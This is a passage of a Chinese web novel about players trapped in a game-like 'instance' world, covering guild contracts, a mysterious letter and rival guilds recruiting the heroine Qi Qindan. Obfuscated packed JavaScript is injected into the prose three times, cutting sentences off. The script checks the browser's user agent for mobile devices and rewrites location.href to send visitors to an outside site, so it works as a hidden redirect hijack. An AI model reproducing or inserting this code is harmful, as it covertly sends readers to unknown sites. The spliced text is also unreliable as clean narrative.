“但是,为什么我们都不记得这些事,只有你记得?” “为什么你的记忆没有被抹去?如果所有人关于这个综艺的记忆都不存在了,应该一视同仁才对啊。” “我们要怎么确定,你的记忆没有出错?” 面对堆积如山的问题,齐檎丹的嘴唇张了张,最终却无奈闭上。 她答不上来。 这个连她自身都无法解释的疑问,如同一根尖利的鱼骨,卡在喉咙里,噎着她。让她无法开口,也难以呼吸。 齐檎丹留意到,就在她回答的那会儿,就有不止一人抽空低头,瞟了那个测谎的道具几眼。 ——测谎道具静悄悄的,没有识别出谎言的反应。 她说的都是实话。 有道具证明。 但即便如此,还是有人不信她。 齐檎丹只能苦笑着,以一个玩笑解释:“我其实也完全不清楚,我的记忆为什么没有被抹掉。也许是我运气够好,成了那条漏网之鱼吧。” 说不说的主动权在她,信不信的决定权在别人。说完这些以后,齐檎丹便达成了出副本前的承诺。她现如今最需要的对副本世界的概述,她已经获得,剩下的与顾斩风相关的事情,知道不知道都没那么重要。 因此,她也不是完全看不开。 更何况,这样的场面,齐檎丹早已经预见到了。 “不信就算了,不信也很正常。”齐檎丹勉强扯出一个微笑。她能理解其他人的顾虑,像这样令人匪夷所思,又拿不出实质性证据的说法,本来就没有人会相信。 然而,正当齐檎丹准备放弃为自身辩护时,她听见了顾斩风的声音。 “我信。”顾斩风说。 叶原也点了头:“她说的,和她这五年的搜索记录都对得上,齐檎丹应该没有撒谎,她也没有必要这么做。” 被使用以测谎的道具,没有检测到说谎的迹象。并且,叶原查到的,齐檎丹近五年来的搜索记录,也能够在一定程度上印证她说的话。 因而,即便齐檎丹拿不出十分令人信服的证据,但在尚未找到线索将其推翻的前提下,他们没有理由假定齐檎丹的说法一定错误。 就算再难以置信的事情,也有是真实的可能。 给出最终结论后,叶原如释重负地合上手提电脑,把自己缩进墙角里,闭上了困倦的双眼。逼仄的小角落,配上他那青绿衣服、黑绿口罩,宛如一朵在阴影里生长的绿色蘑菇。 叶原刚闭上眼没过两秒,角落里就传来了他轻微的鼾声。 叶原又睡着了。 随地大小睡对叶原来说,只是常事一件。他总是很困,两眼下挂着的黑眼圈,浓重得能媲美熊猫。 整个房间如同沉进深水,静得只剩下叶原睡着时发出的鼾声。 没有一个人说话。 却不是因为担心吵醒叶原。 即便齐檎丹已经挨个回答完了他们的疑问,局势却变得更加波谲云诡。 《无限考察》这档综艺由是谁拍摄剪辑的?系统为什么会横空出世?人们的记忆又为什么会被抹去,而齐檎丹为什么能够记得……重重谜题接连涌现,把一切搅得扑朔迷离。 这些问题错综复杂,绝不是一时能够解决的,每个人心里都跟灌了铅一样沉重。 但他们在想什么,齐檎丹并不关心。 许诺过的回答一说完,齐檎丹便看向顾斩风:“该说的我都已经说完了,可以告诉我,你发完假死讯后,又发生什么了吧?” 从齐檎丹茶色的瞳眸里,顾斩风看出了催促。 顾斩风不由得好笑。 当初他向齐檎丹逼问答案的时候,齐檎丹由于担心不被相信,一拖再拖。到他这里,倒是催着他兑现了。 然而,顾斩风还未开口,梁安颜已先对齐檎丹说道: “顾斩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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包括梁安颜在内的队员们,原本以为,这个人之所以敢忽悠他们签下合同,多少能有一些靠谱的方法。却不曾想,这个人指的,是暴力去强行刺激顾斩风,通过将他逼到绝境,来激起顾斩风的执念。 事实证明,这样的手段根本无效。 只加重了顾斩风的伤势。 最后,顾斩风还是靠他自己进副本世界的。 至今也没有一个人知道,顾斩风的执念是被什么激发的,顾斩风也从来不说。梁安颜只记得,进副本世界的前一秒钟,顾斩风支撑起伤痕累累的身躯,深深注视了桌上的纸张一眼。 随后,他便进入了副本当中。 “那个人一点用处也没起到,可已经签下去的合同容不得反悔。” 梁安颜悔疚地抿了下唇角,队里的其他人同样面露悔意:“按照合同要求,我们所有人在进入副本世界之后,必须加入他组建的王座公会,无条件遵从他这个会长的命令,为他卖命。除非死亡,否则我们永远不得从公会里退出……” 这份合同,完全是空手套白狼。 然而世上没有后悔药。 那份合同,是那人从副本世界里带出来的特殊道具,他们全队现如今,都已被困死在此人的公会当中。 “公会?”齐檎丹从梁安颜的话语中,拣出了一个陌生的词汇,“副本里的公会吗?” 梁安颜点点头:“是的,考察员过完第三个副本之后,个人面板上就会多出这个功能,可以选择喜欢的公会,申请加入。你已经通关了两个副本,再过一个副本,你就能看到了。” 只要过三个副本,就能看到这个功能吗?齐檎丹想到了一个人。 比她早通关一个副本的苏意虹。 这会儿,苏意虹的个人面板上,应该早就出现这个新功能了。 46. 现实世界3 想到这里,齐檎丹立刻给苏意虹发了一条消息:“你的面板上,有没有新解锁一个叫公会的功能?” 发送成功的下一秒,苏意虹的语音消息立刻弹了出来:“呜呜呜呜,齐檎丹你终于想到要给我发消息了。你要是再不联系我,我真的要帮你报警了。” 周围人太多,不方便外放语音。齐檎丹刚把这条语音消息转成文字,新的语音消息又蹦了出来。 先是第二条、第三条,然后是第四条…… 苏意虹回复的热情,令人难以招架。只一眨眼的功夫,她发来的十来条语音,就形成了规模庞大的语音矩阵,把齐檎丹整块手机屏幕塞得严严实实。 齐檎丹拿着手机的手,不由得微微抽搐。 消息太多,想要一条条转成文字来看,根本来不及,齐檎丹只能将之暂时忽略:“如果有这个公会功能,方不方便截张图,发过来我看看?” 现实里无论哪个社交软件,都没法呈现与副本世界相关的内容,但齐檎丹和苏意虹已经在系统上加了好友,可以通过好友聊天框给彼此发送消息。 很快,苏意虹便发来几张截图。 从截图里可以清晰地看见,苏意虹的个人面板上,那个代表考察员公会的按键,已经从原本灰扑扑的模样变得鲜亮。 【考察员公会】 【所在公会:您尚未加入任何公会】 【觉得单打独斗难成气候?那就即刻加入公会吧。和公会里的伙伴们团结协作,总比孤军奋战来得强。】 【注意:公会规则由每个公会的会长制定,会员一旦加入,需无条件遵守。】 点进公会功能,即可看见一个特殊的邮箱。 那是公会邮箱。 公会里最重要的联络工具。 “公会邮箱仅供该公会内部成员使用,是副本世界里除了加好友和加群组以外,考察员互相联络的第三种方式。”梁安颜贴心地介绍。 公会邮箱最大的不同之处在于,只要置身同一公会,即便是没过见面的两个人,也能自由联系。而且,邮箱对个人信息的保密性更强,甚至可以用代号代替名字,不需要提供其他信息,极大地便利了公会成员之间的交流。 只不过,因为苏意虹目前还没加入公会,这个邮箱还未正式启用。邮箱里面,塞满了各种公会的招募信息。 “挑选公会的时候,切记要擦亮眼睛。” 梁安颜眉心微微蹙起:“有时候,公会反倒是陷阱。” 即便系统让开发出公会这一功能的初衷,或许是好的,却不是每一个公会都愿意像他们所许诺的那样,对新人施以援手。 这些年来,公会仗着人多势众,主要成员又大多是老玩家,对新人做出的恶劣事件可谓是罄竹难书。单是对不愿意加入公会的新人进行追杀的举动,梁安颜都已经听说过无数起。 任何一个新人考察员,只要对上公会,都会是绝对的弱势方。哪怕齐檎丹这样野蛮的成长速度,也难以与之抗衡。 “最后一点,千万千万不要加入我们王座公会。” 梁安颜眸光晦暗,唇边只剩苦笑:“王座公会里的成员,只是会长控制和压榨的对象,一旦签下那份不公平的公会合同,相当于这辈子再也没有脱离的希望。” 他们已经逃不掉了。 但,齐檎丹和苏意虹还可以。 . 苏意虹收到齐檎丹发来的新消息时,她正在看“峭壁悬棺”副本的直播回放。 在观看直播或直播回放的时候,观看者的时间流速,会被调整到与副本内流速同步。苏意虹将整场回放看完,仿佛又回到了副本之中。 齐檎丹恰好在她看完回放后,发来了消息:“我快要回去了,你先别急着加入公会,这里面的坑还挺多的。我已经向顾斩风队里的人,了解了一些公会的信息,他们答应会整理出一份公会的资料,明天发给我们参考。” 苏意虹以最快速度回复了一句,却迟迟没有等到对面的回应。 大概是又被事情绊住了吧。 苏意虹想。 在副本里,齐檎丹就处处护着她,即便遇到危险,也会让她先走。 齐檎丹明明走的是最危险的通关方式,每一步都如同在刀尖上起舞,可齐檎丹从未将她一起带进风险之中。反观她呢?哪怕她坚持加入齐檎丹的阵营之后,也什么忙都没有帮上,连齐檎丹被顾斩风留下时,她都无能为力。 现在,连要选择加入的公会,都需要齐檎丹帮忙问人。 苏意虹关掉好友对话框。 她的手迟缓地低垂下来,落在懒人沙发上。 “峭壁悬棺”副本的直播回放尚未关闭,里面传来的杂音还在耳边不断响起,提醒着她,她是多么的软弱无能。 苏意虹仰面倒在了沙发上。她第一次觉得,这个懒人沙发是这样松软,松软到,能将她完完全全地吞噬其中,一点挣扎的力气也没有。 她好像……又给齐檎丹添麻烦了。 明明她不想给齐檎丹拖后腿的,可为什么没有做到? 她终究还是太弱了。 在这副本里,弱是原罪。她什么都做不成。 外卖送来的披萨早已经冷透了,芝士在饼底上凝结成软塑料似的黄白色硬块,散发出令人毫无食欲的淡淡怪味。苏意虹却突然挣扎着从沙发里坐起身子,两手各抓起一块冷掉的披萨,往嘴里硬塞。 她塞披萨的动作粗暴而毫无章法,塞的速度越来越快,越来越猛。 不像在进食,倒像是自虐。 口腔转眼间被食物塞满,脆弱的口腔内壁几乎快要撑破,只剩下喉咙还在机械性地吞咽,但苏意虹还在继续。 她继续塞,继续吞。 吞到实在吞不下了,动作才终于有了一丁点放缓。 仿佛只要不断进食,她就能把满口的食物残渣,连着心间的无力感一起咽下。 然而苏意虹吃的速度太快,那些披萨饼块实在太过干噎,一被这么大量地填塞进去,食道和肠胃就愤怒地发起抗议。 反胃的恶心感,顷刻上涌。 胃部肌肉痉挛收缩,口腔和食道被上返的气体,挤压得发出怪异的喉音。 苏意虹疯狂的吞咽停住了。 眼泪却掉了下来。 为什么她总会给人拖后腿呢?以前是这样,现在也是这样。 苏意虹莫名其妙地,想起了她那个支离破碎的家庭。早在爸爸妈妈离婚之前,苏意虹就已经目睹过,他们好几次激烈的争吵。 只是因为夫妻俩都笃信,在饭桌上吵架会影响孩子心情,影响小孩肠胃,因此每次就算再大的火,夫妻两人一到饭桌前就会想方设法地憋回去,只为了不让苏意虹看到。 可他们的情感破裂得那么明显,流露出的迹象处处都是,哪里是苏意虹想不知道,就能不知道的? 在这张压抑的饭桌上,从小挑食的苏意虹学会了好好吃饭。 她埋头吃,大口吃。 只为了不让爸妈为之操心。 这是年纪幼小的她,唯一能够分担的事情。 只有在吞咽碗里的食物时,苏意虹才能在母亲愁苦的脸上,看到一丝欣慰的笑容。 但,苏意虹最终什么都改变不了。即便后来,苏意虹在经年累月中习惯了这种进食解压的方式,爸爸妈妈还是离婚了。破碎的家庭黏合不了,对食物的狂热却在血液里留了下来。 如果说,那时候的苏意虹是因为年纪小,所以才无能为力。可为什么同样的无力感,会再一次上演? 苏意虹放下了剩下的半块披萨。 披萨落在外卖包装盒上的响声,沉闷得,像敲在人心上。 副本里小老头的死,不仅是齐檎丹第一次这么近距离的直面死亡,也给了苏意虹极大的震动。 这一次在副本里,齐檎丹还能够护住她,但随着她们进的副本越来越多,被匹配到的副本等级将不断提升。到了齐檎丹只能勉强自保的副本难度,苏意虹不敢想象,如果齐檎丹那时候还要分心保护她,会造成什么样的后果。 齐檎丹会受伤吗?会死吗?又或者,死的人是她? 不管是哪一种结果,都令苏意虹难以承受。 当年幼小的苏意虹,曾经是父母吵架和考虑离婚时,不得不操心的累赘。可现如今,她不希望齐檎丹也被她拖累。一点都不想。 她必须锻炼自己,必须变强。 只有变强,才不会成为累赘,才不会连累想要保护她的人。 浑浑噩噩中,也不知过了多久,苏意虹终于等到了回出租屋的齐檎丹。 当齐檎丹站在出租屋门口,推门进入的那一霎,她看见满地散落狼藉的食物,也看见了坐在食物中间,含着眼泪的苏意虹。 “齐檎丹,我下个副本不跟你一起了。”苏意虹低着头,用力地吸了吸鼻子,用一种让她自己都觉得陌生的语调,把决定告诉了齐檎丹,“我想要自己进副本,给自己一个锻炼的机会。” 副本难度升高了,她的能力也得提升。哪怕这个决定将带来性命之忧,苏意虹也不在乎。 她不想再给齐檎丹拖后腿了。 苏意虹想清楚了。只有从齐檎丹身边离开,她才能够在遇到生命威胁的时候,狠下心,逼自己一把。 当下次再和齐檎丹进副本的时候,她希望成为齐檎丹的助力。 而非拖累。 . 齐檎丹虽然从顾斩风的研究室离开了,但研究室里关于齐檎丹的话题,却并没有因此停止。 甚至比她本人还在时,更加热情。 毕竟总体上来说,这是一次愉快的会面。而小队里除了性格最冷的顾斩风之外,又都不是什么难相处的人。只不过这一会儿的时间,他们就已经对齐檎丹有了一个大致的印象。 而且这印象,还挺不错。 “你之前跟我说她像顾斩风的时候,我还担心她也会有顾斩风那个臭脾气。”龙骁靠着椅背,对梁安颜道,“现在看来,她除了通关时确实疯了一点,性格多好啊,和咱们队长一点都不像。” 龙骁翘着二郎腿,双手枕在后脑勺当靠垫,一个没忍住,声音就大了一些。 传到了旁边的顾斩风耳里。 “我听到了。”顾斩风冰凉凉地开口。 冷冽的声音像结了霜,把龙骁冻了个正着。 龙骁打了一哆嗦,立刻直起身板坐正了。背后议论人被抓了个正着,他也确实该不好意思。 “嘿嘿,队长要相信我,我没有说你不好的意思。”龙骁心虚地干笑了两声,晃悠到顾斩风跟前,一眼瞥见了顾斩风桌上写得满满当当的稿纸:“队长,你又在研究什么?哎,这不是……” 从一大堆稿纸中,龙骁眼尖地瞄见了一团突兀的乱线。 乱线纠纠缠缠,绕成错综复杂的一团。压着笔画,遮着文字,似乎正帮心烦意乱的创作者,极力掩盖什么。 遮错字?这可不是顾斩风的风格。 这挺不寻常啊。 龙骁眼珠子一转,瞬间伸手,以迅雷不及掩耳之速,赶在顾斩风收起那张稿纸之前,一把将稿纸抽了出来。龙骁脚步及时往后一撤,“嗖”地一下子退开老远—— 远离顾斩风能够到的最远范围。 “哎呦呦,让我看看,这线团底下写的是什么。”龙骁皱着眉头,艰难地辨认着线团下的字迹,一个字一个字地念了出来,“齐、檎、丹?你写的是齐檎丹?!” 这真是一个惊天动地的大发现。三个字一出口,龙骁登时瞳孔地震。 要是齐檎丹的名字,是被顾斩风大大方方写在纸上,他们完全不会多想。但如今,这名字被这样被小心翼翼地遮掩起来,反倒多了几分欲盖弥彰的隐秘感,说不清,道不明。 不是吧不是吧?顾斩风这棵万年铁树,难道要开花? 这发现,可谓是一石惊起千层浪。 顷刻间,全队轰动。 闻言,正抽空处理公司事务的梁安颜,移开了聚焦于邮件上的目光。靠在角落打瞌睡的叶原听见后,也睁开了惺忪睡眼。所有人的视线极其一致地,聚焦在了最中心的顾斩风身上。 每个人眼里,都写满了震惊。 “你这纸上写的,不会是我想的那个人吧?”龙骁瞠目结舌,“不是……队长,这才没见几回啊,你怎么就把人家名字写稿纸上啦?难不成你真的……” 顾斩风经受众人震惊的目光洗礼,却不以为意。 他神态自若,气定神闲。 “写错的东西,自然要划掉。”顾斩风掀起眼帘,“听着你们那么对齐檎丹的讨论,我很难不写错。” 他这个理由不可谓不充分。齐檎丹才刚走这么一会儿,周围的三人都已经提到齐檎丹这个名字多少次了,顾斩风被迫听着,确实容易将名字错写上去。 龙骁“噢”了一声,被这说辞糊弄过去。殊不知,最实质的原因,顾斩风却并未提及。 写字时,顾斩风确实有一瞬间的出神。 他想到了齐檎丹。 也想到了齐檎丹临走前,询问他的问题。 那时候,齐檎丹急着回去见好友苏意虹,迈在前面的那只脚已然到了门口。谁都没料想到,她会在那一刻突然折返,在猝不及防间,挨近了顾斩风耳畔。 她的脚步轻盈散漫,艳得出挑的发丝随动作打了个旋,霸道而漫不经心地撩过顾斩风侧脸,蹭过他颈窝。 微微痒 却不难忍受。 “自从再次见到你之后,我一直想不明白一个问题。”齐檎丹道出的声音,低且轻,顾斩风却足以听清每一个字: “你的专属技能,为什么是风?” 梁安颜的专属技能里“天女散花”,能够制造出吸引副本内角色注意力的花状钱币。针对性极强地直指梁大小姐进入副本世界时,挽救梁氏集团的执念。 在这一技能里,钱财、鲜花这两大元素,以及吸引注意的功能,分别能够与梁安颜为了挽救岌岌可危的集团,所需要获得的充足资金、想到的设计主题和关注度三者一一对应,折射出极大的信息量。 队里另外两人的执念与技能,也不难猜。龙骁性格直率,喜怒爱憎都写在脸上,平日里最喜爱赛车竞速。叶原则爱好明显,只痴迷于信息技术。 不难想见,他们两人的技能必然会与之相关。 只有顾斩风的执念,令人捉摸不透。 将顾斩风执念彻底激发,在关键时刻使他再次进入副本世界的,不过区区一张白纸。而他的技能本身,也不过几缕清风。 这世间多的是纸与风,白纸黑字触目皆是,云涌风起随处可见。即便知晓顾斩风的执念与这两物相关,也无法就此推得执念内容。 顾斩风的执念是什么? 只有他本人知道。 齐檎丹似乎并不急于获得答案。 一问之后,她便轻轻巧巧地抽身离去。 同一瞬,齐檎丹的那几根丝丝缕缕的发,顷刻从颈窝处挪开。能挠进人心里痒意随之消散了,却散得不尽彻底,残余的几分感觉,无端地叫人心里一空。 风吹过桌上的稿纸,纸页翻飞,唰唰作响,有如群蝶振翅。顾斩风从回忆中脱离,握笔的力度不觉间稍大了几分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017126|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他视线下移,目光沉静,落在紧锁的抽屉上。 最终,却没将抽屉拉开。 激发顾斩风执念的秘密,就被锁在这一方小小的抽屉里。 这把锁,像长久缄默的哨岗,替顾斩风忠实地守着这封信件,也守住了他无言的心事。抽屉里的东西,既轻,且薄,与昂贵的价格更是搭不上半点关系,在顾斩风心里却重于千金。 那是顾斩风伤重濒死时收到的,一封不知来向的信件。 这封信,来得像个奇迹。 当时,医院已经给顾斩风下了病危通知书,王座公会尝试以折磨他逼出执念,也未能奏效。 最终,他们将药石无医的顾斩风放弃,放任他倒在病床上,等待死亡。 那或许是顾斩风一生中,最难熬的一个黑夜。 床单被涌出的鲜血浸湿后又被风干,断裂破碎的骨骼在体内变作尖刺,刺穿了皮肉,扎破了内脏,带来永难修复的损伤。 再大剂量的麻药,也麻痹不了劈进骨髓深处的剧痛。 比剧痛更折磨人意志的,是绝望。 治病救人的医生放弃了他,签订了合同的公会放弃了他,虽然他的队友们还在为他的伤势而奔波,但距离他们认清事实,也只是迟早的事。 如今的他已是废人一个。他们不该在他这样的废人身上,浪费更多时间和精力。 及时止损,才是最优选择。 夜色很静,绝望在夜色里葳蕤疯长。绝望蔓延的速度,快得像荒原上的最后一茬植物,钻出血水染遍的被褥下,藏进深不见底的黑暗里,浮现在逐渐涣散的眼瞳中…… 繁杂的根系扎进灵魂,以痛苦作为养料,将顾斩风的最后一点不甘都碾得粉碎。最后,在死寂里静悄悄地,结出一个彻夜难眠的夜。 病床对面挂着的时钟,指针刻板地移动。 挂钟“滴答滴答”的声音,坠落在沉寂的幽暗里。 响得令人心惊肉跳。 顾斩风整个人像是被劈成两半,□□在剧痛的折磨下麻木,灵魂却在绝望的拉扯下沉沦。他目光凝在病房墙上的挂钟上,却并不十分聚焦。 透过无情转动的指针,顾斩风仿佛能看见自己的结局。 死亡的镰刀等候在前方。 他的垂死挣扎,不过徒劳而已。 那封信……或者更准确地说,那张缺少了信封的单薄信纸,就是在这个时候,来到顾斩风身边的。 十分偶然地,轻薄的信纸被风卷进窗里,缱绻地覆上他的手背。 那样轻柔,那样皎然。犹如一片眷顾他的月光。 信纸边缘微微发皱,有几处似乎被雨点浸湿过一般,湿润得叫人心碎。可收信人那一行上,顾斩风的姓名却依然清晰。 这张信纸的到来,令顾斩风不由得诧异。 夜间多风,风向时刻在变,这封信是如何能够找到这家医院,精准地飘进他的病房? 这封信连落下的位置,挑得也是这样好,仿佛冥冥之中,自有注定,在顾斩风连呼吸都艰难的时刻,不偏不倚,那般精准地落在了他的手上,让他不需费力捡拾,就能看见信纸上他的名字。 这封信,简直像是故意来找他的。 多么偶然。 却如同命中注定。 或许是出于对这种巧合的意外,顾斩风拿起了信纸。 信上承载的灵魂如野草,似野火。跟随着这张信纸上的内容,顾斩风仿佛看见了一个与他经历相似的少女的自救。 少女也曾经像顾斩风一样,困在绝望的沼泽地中。 她痛苦过,挣扎过,茫然过,也彷徨过,甚至一度行差踏错,步入极端,希望结束自己的生命。 但最终,她靠着自己的努力,一步步爬出了校园霸凌和家庭问题的阴影,驱散了曾经笼罩在她身上的阴霾。 父亲家暴而母亲懦弱,她竭力保护母亲并上法庭作证,支持母亲离婚;被班里小团体霸凌,故意使她无法听课,成绩一落千丈,她就趁着课后牟足了劲恶补,终于在高考前夕实现了成绩逆袭…… 只要她在高考的时候正常发挥,就能以全班第一的成绩,考上那些看不起她的人一辈子都不敢奢求的大学。 那将会是一招华丽的反击。 她会把曾经欺辱过她的人,狠狠甩在身后。 同样经历过父母感情破裂和校园霸凌的顾斩风,深知少女这一路走来,都有多么艰难不易。那字里行间,轻描淡写的每一步背后,都是浸满了汗水和泪水的重量。 可少女硬是咬着嘴唇,含着血,把这条路走了下去。 不折不挠,夺目耀眼。 那样薄的一张信纸,仿佛承受不住她鲜活而坚韧的灵魂。 顾斩风不至于对这信纸上提的事情,完全不信任。但,当顾斩风看到,少女在信纸上用字迹写下,她最初开始抗争的契机,是因为受到顾斩风的影响时,顾斩风的第一反应是质疑。 “这是什么新型骗局。”顾斩风轻嗤。该不会又是他那些队友,找来使他振作的新办法吧? 如果这是编出来的故事情节,那这个故事一定俗套到家了。同样的剧情在文艺作品里,一抓一大把。 然而,顾斩风犹豫再三,终究没舍得将信纸放下。 信里的灵魂太过耀眼。 吸引着他。 哪怕这个故事有假的可能,他却依然借着这上面的字迹,感受到了写信人顽强的生机。 那种感觉,像一团正在燃烧的火焰,向外散发着光和热。纵使被风送到顾斩风手上的,仅仅是出自少女的书信,那种释放出来的蓬勃的活力,仍然无可避免地感染到了顾斩风。 如果这是队友的妙计,那它很成功。因为此时此刻,信里写的内容真假,已经变得不再重要。 重要的是,在这个顾斩风几乎被宣判死刑的关口,他从这封信上,重新感受到了生命的力量。 鬼门关不是不能捱过去,长夜无穷无尽,只要不放弃,未必不能见天光。 这就够了。 濒临溺死的人只要抓住一根浮木,就能继续维系支撑。 写信的女孩兴许不会知道,就在她提笔向顾斩风表达感激的同时,顾斩风也从她的来信中,重新拾起了那么一丝渺茫的生的希望。 如果必须要有执念,才能再次进入副本世界。 那他的执念,就是找到写信的人。 顾斩风一直在找这个人。 却从未找到。 他先是发现队友对信并不知情,再后来,在知道《无限考察》这个求生综艺的存在后,顾斩风曾经想过,女孩也许是从这个途径认识他的。只是如果真的是这样,随着记忆被副本力量所篡改,女孩恐怕已经将他遗忘。 除非,当初给他写信的女孩,就是齐檎丹。 这个念头从脑中一晃而过,齐檎丹嚣张的笑意与信上秀美的文字,形成了鲜明对比。 顾斩风不禁自嘲地一哂。 真是想找人想疯了。写信人不会是齐檎丹的。 齐檎丹怎么可能写信感谢他? 齐檎丹性格恶劣张扬,以看顾斩风吃瘪为乐,那颗心里满满当当的只有拍照。顾斩风猜想,齐檎丹对他这个人的兴趣,或许还没对他身上蛇鳞的兴致高。 这样一封对他表达感激的信,即便只是拿到齐檎丹面前,只怕也会被她无情嘲笑,让她写出这样一封东西,简直是天方夜谭。 顾斩风垂着眼睑,渐渐收了心思。 再从满桌稿纸上抬眼之时,他却见梁安颜等人满脸忧色。 “怎么了?”顾斩风问道。 47. 现实世界4 梁安颜蹙着眉心,示意他查看邮箱:“你看公会邮箱了吗?会长给我们每个人都发了邮件。” 顾斩风查看完邮件后,两片薄唇倏然抿起。 他搁下笔,打开考察系统。 在公会邮箱里,发现了一封王座工会会长的来信。信里,句句不离齐檎丹。 “会长已经盯上齐檎丹了。他现在给我们发邮件,是希望我们能够尽量拉拢齐檎丹,让她加入王座公会。”梁安颜重重叹了口气,“接下来,齐檎丹马上就要经历第三个副本,新人通关第三个副本以后,公会功能就能使用。会长是想先下手为强。” 梁安颜刚刚告诫过齐檎丹,千万不能进入王座公会,王座公会的会长居然就找上门来了。 这绝不是一件好事。 因为这意味着,一个针对齐檎丹的陷阱正逐渐成型。 一旦不慎跌进陷阱里,不是像他们现如今这样,被终生困死在公会当中,就是丢掉性命。 ——王座公会是副本世界里首屈一指的大公会,现下势头正盛,齐檎丹一旦跟他们硬碰硬,会变得极其被动。 王座公会的会长,是故意掐在这个时间点,让他们对齐檎丹下手的。 他就要齐檎丹毫无还手之力。 只能被公会蒙骗。 由于考察系统缺乏新手指引,公会又是通关三个副本后才解锁的新功能,因此刚接触到公会功能的新人往往懵懂,相关知识除了自行探索,便只可依赖于资历深些的考察员指引。 王座公会的会长,命令他们这些老人借着假意相助,局限齐檎丹的认知。 这样,就能迷惑尚不清楚公会德行的齐檎丹,使之在公会功能解锁的那一刻,就被监视着,感恩戴德地签下进入王座公会的合同。 “会长莫不是把齐檎丹当作傻的了,她可跟之前那些被他这样坑害的新人不一样。”梁安颜垂眸轻嗤。 齐檎丹精得很,识破这样简单的伎俩是迟早的事。 从梁大小姐下撇的两弯柳叶眉里,不难看出,她对王座公会这个会长的决定,颇有成见。对于协助公会做这种助纣为虐的事,她内心有千万个不愿。 然而,那一纸合同困住了她。公会内部的成员,无法违抗会长的命令。 即便她是梁氏集团的大小姐。 也不行。 梁安颜突然很庆幸,她提前跟齐檎丹说了这王座公会可能会挖的坑。 否则,等当齐檎丹意识到不对的时候,不仅王座公会会被记恨,被迫与王座公会为伍的他们,估计也会被齐檎丹列入黑名单。 梁安颜打开手机,开始查找之前约拍而加的,齐檎丹的联系方式:“也许,我们可以趁着公会在现实里管不到我们,想办法事先跟她传递一些消息。我们不是答应她,帮忙要整理一份公会资料出来吗?我们可以把这一点加在里面。” 梁安颜所想的,只是不惹齐檎丹反感。 然而,顾斩风翻了翻近期榜单之后,却意识到他们能卖给齐檎丹的人情,远比这更多。 “你现在就可以告诉齐檎丹,想不择手段招揽她的,恐怕不止王座公会。”顾斩风道。 榜单上出现的最新变动,揭开了齐檎丹之所以被格外关注的原因——从副本里出来后,齐檎丹不仅继续保持着新人榜第一的身份,连近期的副本通关最佳表现榜,她也榜上有名。 这样突飞猛进的排名,太惹眼了。 更何况她还是新人。 齐檎丹现在在每个公会那里,都是当之无愧的抢手货。 势力大的公会,挤破了头也要把她抢到手,那些不敢与大公会抢人的,也很难不想方设法向她卖个好,在未来多少分到一杯羹。恼人的王座公会,只是其中的一股力量。 梁安颜点头称是:“有道理,但那份公会信息,我还没来得及整理……” “我整理好了。”顾斩风说。 只在下一秒,梁安颜就收到了顾斩风发来的文件。 “这么快?”梁安颜打开文件,以最快速度浏览了一眼,不由得发出感叹。这份文件里资料齐全,还列举了值得齐檎丹关注的公会及其信息,绝非一朝一夕所能整理出来的。 龙骁凑到梁安颜身边,瞥了眼文件里密密麻麻的字,“嘶”地抽了口气,试探性地问:“你该不会是……从第一次在直播里见到齐檎丹后,就开始整理这份资料了吧?” 顾斩风默认:“从齐檎丹的成长速度,不难预见到今天的状况。” 太过耀眼的新人,迟早要过公会这一劫。 因此,他提前做好了准备。 现在刚好用得上。 由于檎丹是野生红苹果的颜色,齐檎丹有个比她本人可爱的网名,叫“檎丹不是红苹果”。 梁安颜在好友列表里找到她之后,首先把公会资料发了过去,之后,又跟她透露了一点,她即将被包括王座公会在内的各大公会抢夺的消息,提醒齐檎丹小心提防阴招。 齐檎丹却意外地非常淡定:“公会拉拢人,一般会用什么样的方式?” “像这样的前期,一般会采用尽量和平的手段。比如,派核心会员用组队卡绑定你,和你进入同一个副本,然后打着帮助的名义,潜移默化地忽悠你,给你洗脑。为的是看能不能用这种办法,让你自愿签下不平等的公会合同。” 梁安颜想了想,又回复道:“但这一招,也不是没有解决的办法。系统商城里,有能够阻止被人绑定的道具,就是道具的价格,可能会让新人感觉比较有负担。不过没关系,你还缺多少积分,我可以借给你……” “谢谢,但是不用了。”齐檎丹拒绝了她的好意。 但除了买道具,还能怎么防范? 梁安颜一时摸不清齐檎丹的意思:“不用道具?难道齐檎丹想被公会派去的会员们缠上,然后跟那些公会斗智斗勇?” 势单力薄的新人挑战公会,无异于蚍蜉撼树。 齐檎丹真要这么干? 这样做虽然是挺疯的,可是……在和拍照毫无关系的事情上疯,不太符合齐檎丹一贯的禀性啊。 顾斩风忽然开口:“我看看。” 梁安颜把停在聊天窗口界面的手机,递了过去。 顾斩风还没伸手去接,齐檎丹的消息就跳了出来:“你们王座公会,应该也有这么做的念头吧?你们是不是已经接到会长的通知了?” 既然是王座公会下发的任务,如果齐檎丹使用道具屏蔽绑定,她本人固然能在下一个副本里全身而退,梁安颜他们却无法完成公会的任务,可能被会长为难。 梁安颜还没来得及回复,齐檎丹又发来了第二条消息—— 对高级组队卡介绍的截图。 【高级组队卡(介绍):……同一个考察员进副本时,最多只能用组队卡跟两个人绑定。多人同时对一人使用组队卡时,只有最先绑定的两个人,能够与此人绑定成功。】 齐檎丹:“我好像发现一个可以钻的空子了。既能让你们完成任务,我又能安全。(坏笑.jpg)” “即便用高级组队卡,也只有前两个人能跟我绑定成功,对吧?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 